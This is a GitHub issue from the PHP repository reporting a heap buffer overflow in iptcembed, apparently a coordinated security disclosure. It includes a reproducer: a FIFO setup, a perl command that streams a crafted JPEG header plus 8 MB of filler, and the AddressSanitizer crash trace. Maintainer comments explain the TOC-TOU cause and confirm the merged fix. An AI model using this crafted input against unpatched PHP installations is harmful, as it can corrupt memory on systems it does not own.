Repository navigation
Heap Buffer Overflow in iptcembed #20582
Copy link
Copy link
Closed
Description
Description
The following code (Terminal A):
$ rm /tmp/pipe.jpg
$ mkfifo /tmp/pipe.jpg
$ env USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 ./php -n -r '$d=str_repeat("A",1); var_dump(iptcembed($d, "/tmp/pipe.jpg"));'
The following code (Terminal B):
perl -e 'binmode STDOUT; print "\xFF\xD8"; print "\xFF\xE0\x00\x10","JFIF", "\x00"x9; print "\xFF\xDA\x00\x08", "\x00"x6; print "A" x (8*1024*1024);' > /tmp/pipe.jpg
Resulted in this output:
$ env USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 ./php -n -r '$d=str_repeat("A",1); var_dump(iptcembed($d, "/tmp/pipe.jpg"));'
=================================================================
==851236==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5190000013bf at pc 0x57ebf35b2e2d bp 0x7fffb5c5ee70 sp 0x7fffb5c5ee60
WRITE of size 1 at 0x5190000013bf thread T0
#0 0x57ebf35b2e2c in php_iptc_get1 /home/administrator/php/php-src/ext/standard/iptc.c:102
#1 0x57ebf35b2fd1 in php_iptc_next_marker /home/administrator/php/php-src/ext/standard/iptc.c:150
#2 0x57ebf35b3dfb in zif_iptcembed /home/administrator/php/php-src/ext/standard/iptc.c:233
#3 0x57ebf3a24aa8 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/administrator/php/php-src/Zend/zend_vm_execute.h:1421
#4 0x57ebf3b89bf4 in execute_ex /home/administrator/php/php-src/Zend/zend_vm_execute.h:116441
#5 0x57ebf3b9ed7f in zend_execute /home/administrator/php/php-src/Zend/zend_vm_execute.h:121924
#6 0x57ebf39ed03c in zend_eval_stringl /home/administrator/php/php-src/Zend/zend_execute_API.c:1367
#7 0x57ebf39ed4a2 in zend_eval_stringl_ex /home/administrator/php/php-src/Zend/zend_execute_API.c:1409
#8 0x57ebf39ed53f in zend_eval_string_ex /home/administrator/php/php-src/Zend/zend_execute_API.c:1419
#9 0x57ebf3d085d5 in do_cli /home/administrator/php/php-src/sapi/cli/php_cli.c:981
#10 0x57ebf3d0a9e7 in main /home/administrator/php/php-src/sapi/cli/php_cli.c:1362
#11 0x7bdace82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#12 0x7bdace82a28a in __libc_start_main_impl ../csu/libc-start.c:360
#13 0x57ebf2a06ad4 in _start (/home/administrator/php/php-src/sapi/cli/php+0x606ad4) (BuildId: 23b3cb5fecdb3cc4703718b56e46f0909b26acaa)
0x5190000013bf is located 0 bytes after 1087-byte region [0x519000000f80,0x5190000013bf)
allocated by thread T0 here:
#0 0x7bdaceefd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x57ebf38ea114 in __zend_malloc /home/administrator/php/php-src/Zend/zend_alloc.c:3543
#2 0x57ebf38e5fec in _emalloc /home/administrator/php/php-src/Zend/zend_alloc.c:2780
#3 0x57ebf38e6392 in _safe_emalloc /home/administrator/php/php-src/Zend/zend_alloc.c:2824
#4 0x57ebf35b1d47 in zend_string_safe_alloc /home/administrator/php/php-src/Zend/zend_string.h:178
#5 0x57ebf35b3ad8 in zif_iptcembed /home/administrator/php/php-src/ext/standard/iptc.c:211
#6 0x57ebf3a24aa8 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/administrator/php/php-src/Zend/zend_vm_execute.h:1421
#7 0x57ebf3b89bf4 in execute_ex /home/administrator/php/php-src/Zend/zend_vm_execute.h:116441
#8 0x57ebf3b9ed7f in zend_execute /home/administrator/php/php-src/Zend/zend_vm_execute.h:121924
#9 0x57ebf39ed03c in zend_eval_stringl /home/administrator/php/php-src/Zend/zend_execute_API.c:1367
#10 0x57ebf39ed4a2 in zend_eval_stringl_ex /home/administrator/php/php-src/Zend/zend_execute_API.c:1409
#11 0x57ebf39ed53f in zend_eval_string_ex /home/administrator/php/php-src/Zend/zend_execute_API.c:1419
#12 0x57ebf3d085d5 in do_cli /home/administrator/php/php-src/sapi/cli/php_cli.c:981
#13 0x57ebf3d0a9e7 in main /home/administrator/php/php-src/sapi/cli/php_cli.c:1362
#14 0x7bdace82a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#15 0x7bdace82a28a in __libc_start_main_impl ../csu/libc-start.c:360
#16 0x57ebf2a06ad4 in _start (/home/administrator/php/php-src/sapi/cli/php+0x606ad4) (BuildId: 23b3cb5fecdb3cc4703718b56e46f0909b26acaa)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/administrator/php/php-src/ext/standard/iptc.c:102 in php_iptc_get1
Shadow bytes around the buggy address:
0x519000001100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x519000001300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x519000001380: 00 00 00 00 00 00 00[07]fa fa fa fa fa fa fa fa
0x519000001400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x519000001600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==851236==ABORTING
Aborted (core dumped)
Build configuration:
$ ./configure CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address" --enable-debug
Researcher:
Nikita Sveshnikov (Positive Technologies)
PHP Version
PHP 8.6.0-dev (cli) (built: Nov 18 2025 10:57:54) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies
Operating System
Ubuntu 24.04.2 LTS
Reactions are currently unavailable
Activity
ndossche commentedon Nov 25, 2025
It's a form of TOC-TOU: the buffer is allocated based on the initial size. However, writing more data to the file (or pipe in this case) will make sure that getc() will not return EOF before going over the initial size.
An extra bounds check is probably the right way to go.
ndossche commentedon Nov 25, 2025
I propose this, but will need to port the test code to PHP:
Fix phpGH-20582: Heap Buffer Overflow in iptcembed
012git012 commentedon Dec 23, 2025
Hello @ndossche
Could you please let us know whether you plan to resolve this issue by the end of December? If not, we would appreciate it if you could provide an estimated timeline.
Fix GH-20582: Heap Buffer Overflow in iptcembed
Merge branch 'PHP-8.3' into PHP-8.4
Merge branch 'PHP-8.4' into PHP-8.5
Merge branch 'PHP-8.5'
ndossche commentedon Dec 26, 2025
@012git012 the fix is merged and will be part of the next release.